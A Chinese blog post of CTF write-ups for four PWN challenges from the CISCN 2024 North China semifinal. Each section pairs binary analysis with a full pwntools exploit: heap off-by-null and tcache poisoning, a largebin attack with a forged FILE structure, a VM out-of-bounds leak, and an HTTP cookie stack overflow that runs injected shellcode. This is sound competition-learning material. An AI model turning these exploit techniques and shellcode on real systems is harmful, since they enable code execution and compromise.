CISCN 2024 华北赛区半决赛 PWN类全题解

这次是我第一次参加线下赛,有点紧张。由于对赛制规则的不了解,导致我patch晚了,丢了很多分,不过取得了14名还是不错的。
比赛中pwn类攻了两题,防了三题,vm这题卡在了一个加密函数上,赛后才想明白怎么解,实在是可惜。

onebook(12解)

分析

libc版本为2.27。
典型的堆题构造。
add、edit、show、dele函数都具备。

add和edit存在off by null
在这里插入图片描述输出使用的是puts函数,加上\x00截断,无法提前泄露libc基地址。
在这里插入图片描述

所以需要构造堆风水,实现0泄露offbynull。
详细构造方法可以参考默文师傅的这篇文章
高版本libc_off_by_null(一看就懂)
利用offbynull实现堆重叠,实现libc地址泄露,并利用tcachebin attack实现对__free_hook的修改,从而getshell。

Exp

from pwn import *

p = process('./pwn')
libc = ELF('./libc.so.6')

def add(idx,size,data=b'a'):
    p.sendlineafter(b'>\n',b'1')
    p.sendlineafter(b'ex:',str(idx))
    p.sendlineafter(b'ze:',str(size))
    if data==b'':
        return
    p.sendafter(b'ent:',data)

def show(idx):
    p.sendlineafter(b'>\n', b'2')
    p.sendlineafter(b'ex:', str(idx))

def edit(idx,data):
    p.sendlineafter(b'>\n',b'3')
    p.sendlineafter(b'ex:',str(idx))
    p.sendlineafter(b'ent:', data)

def dele(idx):
    p.sendlineafter(b'>\n', b'4')
    p.sendlineafter(b'ex:', str(idx))

def pwn():
    #构造堆风水
    add(0,0x430)
    add(1,0x20)
    add(2,0x430)
    add(3,0x430)
    add(4,0x28)
    add(5,0x430)
    add(6,0x430)
    add(7,0x30)
    dele(0)
    dele(3)
    dele(6)
    dele(2)
    add(2,0x870)
    add(6,0x430)
    add(0,0x430)
    dele(2)
    #利用堆残留进行堆指针构造
    add(2,0x450,b'a'*0x438+p32(0x471))
    add(3,0x410)
    dele(0)
    dele(3)
    add(0,0x430,b'a'*8)
    dele(6)
    dele(5)
    add(5,0x870,b'a'*0x438+p64(0x441))
    dele(5)
    add(5,0x4f0)
    add(6,0x370)
    edit(4,b'a'*0x20+p64(0x30+0x440))
    dele(5)
    #此时offbynull利用成功,4号堆块被重叠了
    add(5,0x430)
    show(4)
    p.recvuntil('\n')
    libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
    print('libc:',hex(libc.address))
    dele(5)
    add(5,0x460,b'a'*0x438+p64(0x31))
    dele(7)
    dele(4)
    edit(5,b'a'*0x438+p64(0x31)+p64(libc.symbols['__free_hook']))
    add(4,0x20,b'/bin/sh\x00')
    add(7,0x20,p64(libc.symbols['system']))
    dele(4)
    # gdb.attach(p)
    # pause()
    p.interactive()
pwn()

proc(4解)

在赛前准备工具中看到了protobuf工具,我就觉着会考这个协议的题,所以提前做了准备。
不考虑协议的话题目利用思路还是蛮简单的,但是由于协议在输入data的时候会malloc堆块,所以很容易破坏堆风水,得小心处理。

分析

2.31的libc。
主体是典型的堆题结构。
在这里插入图片描述但是在前面调用了一个函数对数据进行解析,即protobuf的unpack函数。
在这里插入图片描述在这里插入图片描述有关该协议的内容可以参考PaT1Ent师傅的文章
2024ciscn-ez_buf分析
分析程序可以看到msg结构体,然后以此写proto文件再生成ctf_pb2.py文件即可
在这里插入图片描述回归正题
程序限制malloc大小为0x41f-0x550之间。没有绕过手段,所以一般是要用largebinattack来打。
在这里插入图片描述使用的memcpy进行复制,所以不存在\x00截断,可以正常泄露libc和堆地址
在这里插入图片描述dele函数不清空指针,存在uaf
在这里插入图片描述那么接下来利用思路就简单了,
利用uaf修改largebin的bk_nextsize为_IO_list_all-0x20的地址,利用largebin attack修改_IO_list_all为可控堆块。
将可控堆块构造为fake_io,具体如何构造可参考这篇文章
新型 IO 利用方法学习——House of apple2

再利用程序的exit函数触发_IO_cleanup函数调用IO链从而getshell
在这里插入图片描述

Exp

from pwn import *
import ctf_pb2
p = process('./pwn')
libc = ELF('./libc.so.6')
rop=ROP(libc)
def add(size,data=b'a'):
    chunk = ctf_pb2.pwn()
    chunk.idx=0
    chunk.size=size
    chunk.content=data
    p.sendafter(b'xit', chunk.SerializeToString())
    p.sendlineafter(b'ce: ',b'1')


def edit(idx,size,data):
    chunk = ctf_pb2.pwn()
    chunk.idx=idx
    chunk.size=size
    chunk.content=data
    p.sendafter(b'xit', chunk.SerializeToString())
    p.sendlineafter(b'ce: ', b'2')


def dele(idx):
    chunk = ctf_pb2.pwn()
    chunk.idx = idx
    chunk.size = 0
    chunk.content = b''
    p.sendafter(b'xit', chunk.SerializeToString())
    p.sendlineafter(b'ce: ', b'3')

def show(idx):
    chunk = ctf_pb2.pwn()
    chunk.idx = idx
    chunk.size = 0
    chunk.content = b''
    p.sendafter(b'xit', chunk.SerializeToString())
    p.sendlineafter(b'ce: ', b'4')

def exit():
    p.sendline('abcd')

def pwn():
    add(0x428)#0
    add(0x440)#1
    add(0x438)#2
    add(0x430)#3
    add(0x430)#4
    dele(1)
    dele(3)
    add(0x500)#5
    show(3)
    p.recvuntil('nt: ')
    large_arena=u64(p.recv(6).ljust(8,b'\x00'))
    libc.address=large_arena-0x1ecbe0-0x400
    _IO_list_all = libc.address+0x1ed5a0
    print('libc:',hex(libc.address))
    show(1)
    p.recvuntil('nt: ')
    heap = u64(p.recv(6).ljust(8,b'\x00'))
    print('heap:',hex(heap))
    fakeheap = heap
    stderr = libc.address+0x1ed5c0
    wfile_jump = libc.address+0x1e8f60
    fake_io = flat({
        0x20: 0,
        0x28: 1,
        0x68: p64(libc.symbols['system']),
        0x88: p64(stderr - 0x20),
        0xa0: p64(fakeheap),
        0xc0: p64(2 ** 64 - 1),
        0xe0: p64(fakeheap),
        0xd8: p64(wfile_jump),
    }, filler=b'\x00')
    fake_io = fake_io[0x10:]
    add(0x430)#6
    add(0x500)#7
    dele(5)
    edit(1,0x20,p64(large_arena)*2+p64(heap)+p64(_IO_list_all-0x20)+b'a'*0x500)#多加0x500防止破坏堆风水
    dele(3)
    add(0x510)#8
    edit(2,0x438,b'a'*0x430+b' sh;')#fp->flag设置,system调用时,rdi指向的就是fp->flag
    edit(3,0x200,fake_io+b'a'*0x400)
    # #0x92beb
    exit()
    p.interactive()
pwn()

vm(0解)

这题关键卡在了一个加密函数,经验分享的时候,别的佬也说逆不出来这个函数。
后面根据函数特征,我感觉这是一个hash函数,本身没法逆,只能爆破。

分析

整体框架就是个简易vm虚拟机,每次读取5个字节指令,并解码执行。
在这里插入图片描述
这里进行了整体的初始化
在这里插入图片描述vm结构体如下:
在这里插入图片描述

通过分析这几个函数可以得知,pop_reg函数对$rsp检查不严格,导致可以负溢出
在这里插入图片描述同时push_num函数也是如此,但push_reg将其转换为正整数check,所以push_reg无法利用。
在这里插入图片描述其中堆结构如下(memory段由mmap分配,在libc段的下面):
在这里插入图片描述利用pop可以向上移到函数指针存放处,得到程序基地址。
但是想要将其输出得先将寄存器值存入mem字段,然后输出,这里存在一个hash加密。
在这里插入图片描述在这里插入图片描述
依我看是没法解密的,只能爆破,但是爆破四个字节属实有些夸张,所以我们可以单字节单字节的爆破。

具体实现方式如下:
首先将0x100放入r3寄存器
push 0x100
pop $r3

然后pop将$rsp移到函数指针处,将函数指针存入r0寄存器,再赋值给$r1,再利用imul乘法函数将$r1左移3个字节
pop $r0
add $r1,$r0,$r2 //$r2默认为0
imul $r1,$r1,$r3 // 执行三次
此时$1值如下:
在这里插入图片描述
后三个字节为0这样我们就可以进行单字节爆破了。
mov mem[0],$r1 //将$r1的hash值放进去
show mem[0] //显示该值
然后生成0x**000000的hash表,对照表的到第一个字节的值。
再根据第一个字节,继续生成0x**100000的hash表爆破第二个字节。
在这里插入图片描述

以此类推,从而泄露地址,劫持程序控制流程。

但根据堆结构图我们知道,这样我们只能得到程序基地址并不能得到memory段的地址。
所以我们需要劫持程序重新执行一遍main函数,此时就能生成新的堆块在先前的堆块下面,从而进行泄露。

重新进入main函数后
在这里插入图片描述
我们只要能pop到先前的vm结构体处,就能泄露memory地址。

首先我们要解决的问题是,虚拟指令长度存在0x100限制,
reread功能只能执行一次,且一次只有5个指令。
reread功能点但是我们可以发现调用push_reg时,rdx为程序地址是个很大的值,edi我们可控为0,而rsi则是残留下来的值。
调用push_reg的汇编
我们可以利用reread功能点,它执行后残留下来的rsi刚好指向code段。
所以我们将push_reg改为read,然后在reread后调用read就可以往code段里面写足够多的指令。
然后通过先前的方法得到先前的memory地址,然后通过偏移算出现在的memory地址,然后将函数指针改为memory段的地址,就可以跳到memory段执行。

但前提是我们要在memory段布置shellcode。

根据先前分析,我们知道在跳转到memory时,edi,eax都是我们可控的。
而rdx则刚好是memory的地址,所以我们只需要执行以下汇编就可以往memory段写入shellcode。
在这里插入图片描述这里只需要写入四个字节,我们可以直接通过爆破的方式得到:0xcd76bec7哈希运算后为0x050f5e52.
之后就可以直接orw得到flag了。

Exp

from pwn import *
from ctypes import cdll

context.arch='amd64'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
genarate_hash = cdll.LoadLibrary('./encrypt.so').encrypt # 这里我直接ida把加密函数复制下来然后生成了.so文件给python使用
#gcc -shared -o encrypt.so -fPIC encrypt.c
def push_reg(reg):
    return b'\x01'+p32(reg)

def push_num(num):
    return b'\x02'+p32(num)

def pop_reg(reg):
    return b'\x03' + p32(reg)

def add_reg(r1,r2,r3):
    return b'\x04'+p8(r1)+p8(r2)+p8(r3)+p8(0)

def sub_reg(r1,r2,r3):
    return b'\x05' + p8(r1) + p8(r2) + p8(r3) + p8(0)

def imul_reg(r1,r2,r3):
    return b'\x06' + p8(r1) + p8(r2) + p8(r3) + p8(0)
def reread():
    return b'\x09'

def mov_mem_reg(mem,reg):
    return b'\x07'+b'\x00'+p8(reg)+p8(mem)+b'\x00'

def show_mem(mem):
    return b'\x08'+p32(mem)

def go(code):
    p.send(code)

def decrypt(num):
    res = 0
    for i in range(num):
        p.recvuntil('data in offset ')
        p.recvuntil('is ')
        n = int(p.recvline()[:-1],16)
        res //=0x100
        for j in range(0x100):
            if genarate_hash(res+j*int(pow(0x100,3)))&(2**32-1)==n:
                res+=j*int(pow(0x100,3))
                break
    return res

########################step1########################
#泄露地址并劫持imul函数指针为main函数
code = b''
code += push_num(0x100)
code += pop_reg(3)
for i in range(0xa):
    code += pop_reg(0)
for i in range(4):
    code += add_reg(1, 0, 2)
    for j in range(3-i):
        code += imul_reg(1,1,3)
    code += mov_mem_reg(i,1)
for i in range(4):
    code += show_mem(i)
code += pop_reg(0)
for i in range(4):
    code += add_reg(1, 0, 2)
    for j in range(3-i):
        code += imul_reg(1,1,3)
    code += mov_mem_reg(4+i,1)
for i in range(4):
    code += show_mem(4+i)
code+=reread()
go(code)
base_addr_low = decrypt(4)
main = base_addr_low-0x1f30+0x2430
base_addr_high = decrypt(4)
base_addr = base_addr_high*(2**32)+base_addr_low-0x1f30
elf.address = base_addr
print('base_addr:',hex(base_addr))
code = b''
code += push_num(0)
code += push_num(main)
code += imul_reg(1,1,3)
go(code)
########################step2########################
#修改push_reg函数指针为read,subs_reg函数指针为reread,再调用reread最后调用read
code = b''
for i in range(0xc):
    code += pop_reg(0)
code += push_num(main-0x2430+0x2841)
code += pop_reg(0)*9
code += push_num(elf.plt['read']&(2**32-1))
code += reread()
go(code)
code = b''
code += push_reg(0)
go(code)
########################step3########################
#泄露memory地址
code = b''
for i in range(0x414):
    code += pop_reg(0)
code += pop_reg(0)
code += push_num(0x100)
code += pop_reg(3)
for i in range(4):
    code += add_reg(1, 0, 2)
    for j in range(3-i):
        code += imul_reg(1,1,3)
    code += mov_mem_reg(i,1)
for i in range(4):
    code += show_mem(i)
code += pop_reg(0)
for i in range(4):
    code += add_reg(1, 0, 2)
    for j in range(3-i):
        code += imul_reg(1,1,3)
    code += mov_mem_reg(4+i,1)
for i in range(4):
    code += show_mem(4+i)
code += sub_reg(1,1,3)
# time.sleep(3)
go(code)
mem_addr = decrypt(4)*(2**32)+decrypt(4)-0x221000
print('mem_addr:', hex(mem_addr))
########################step4########################
#将短shellcode写入memory,然后改写push_reg指针为memory,然后调用memory写入长shellcode,从而得到flag
code = b''
code += push_reg(0)
go(code)
#shellcode 0xcd76bec7
code = b''
code += push_num(0xcd76bec7)*2
code += pop_reg(0)
code += mov_mem_reg(0,0)
for i in range(0x414):
    code += push_num(0)
code += push_num(mem_addr&(2**32-1))
code += push_num(mem_addr//(2**32))
code += push_reg(0)
go(code)
p.send(b'a'*4+asm(shellcraft.cat('flag')))
p.interactive()

godrouter(0解)

赛后看这题才发现异常简单,特别容易利用。
不过比赛的时候对框架函数并不了解,所以肯定是解不出来的。

分析

路由器题。
这题用了microhttpd和openssl的框架,从而实现web通信。
关于microhttpd和openssl的内容可参考以下链接:
openssl函数介绍
microhttpd源码

关键部分1 ,创建一个可写可读可执行的内存,且地址固定。
在这里插入图片描述关键部分2,往该内存写内容,直接写shellcode。
在这里插入图片描述
关键部分3,函数sub_27ed即check_cookie函数,这里直接从cookie中读取base64然后解码放入栈中,没检查size大小,很明显存在栈溢出。
在这里插入图片描述

在这里插入图片描述

结合以上三个关键点,提前在0x123000布置shellcode,再直接栈溢出覆盖返回地址到0x123000即可。
不知道为什么执行命令cat flag > robots.txt的shellcode会导致memmove报错。
所以这里我们的shellcode构成为
open(‘flag’,0)#fd=6
open(‘robots.txt’,2)#fd=7
sendfile(7,6,0,0x100)
close(7)
然后将robots文件篡改,之后再去访问robots文件即可得到flag。

Exp

from pwn import *
import base64

context.arch='amd64'
context.os='linux'
shellcode=b"\x68\x66\x6c\x61\x67\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x02\x58\x0f\x05\x68\x79\x75\x01\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x72\x6f\x62\x6f\x74\x73\x2e\x74\x50\x48\x89\xe7\x31\xd2\x6a\x02\x5e\x6a\x02\x58\x0f\x05\x41\xba\x01\x02\x01\x01\x41\x81\xf2\x01\x03\x01\x01\x6a\x07\x5f\x31\xd2\x6a\x06\x5e\x6a\x28\x58\x0f\x05\x6a\x07\x5f\x6a\x03\x58\x0f\x05"
base_shellcode = base64.b64encode(shellcode).decode().replace('=','%3D')
p = remote('127.0.0.1', 8888)
add_memory_http = 'GET /addmemory HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.Y3Rmcm91dGVyaXNlYXN5\r\n\r\n'
p.send(add_memory_http)
p.recv(1024)
p = remote('127.0.0.1', 8888)
send_shellcode_http = 'POST /reviewset HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.Y3Rmcm91dGVyaXNlYXN5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\nfile='.format(len(base_shellcode)+5)
send_shellcode_http += base_shellcode
p.send(send_shellcode_http)
p.recv(1024)
p = remote('127.0.0.1', 8888)
payload = base64.b64encode(b'a'*0x248+p64(0x123000)).decode()
trigger_stackoverflow_http = 'GET /home HTTP/1.1\r\nHost:127.0.0.1:8888\r\nCookie:session_token=YWRtaW4=.{}\r\n\r\n'.format(payload)
p.send(trigger_stackoverflow_http)
p.recv(1024)
p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值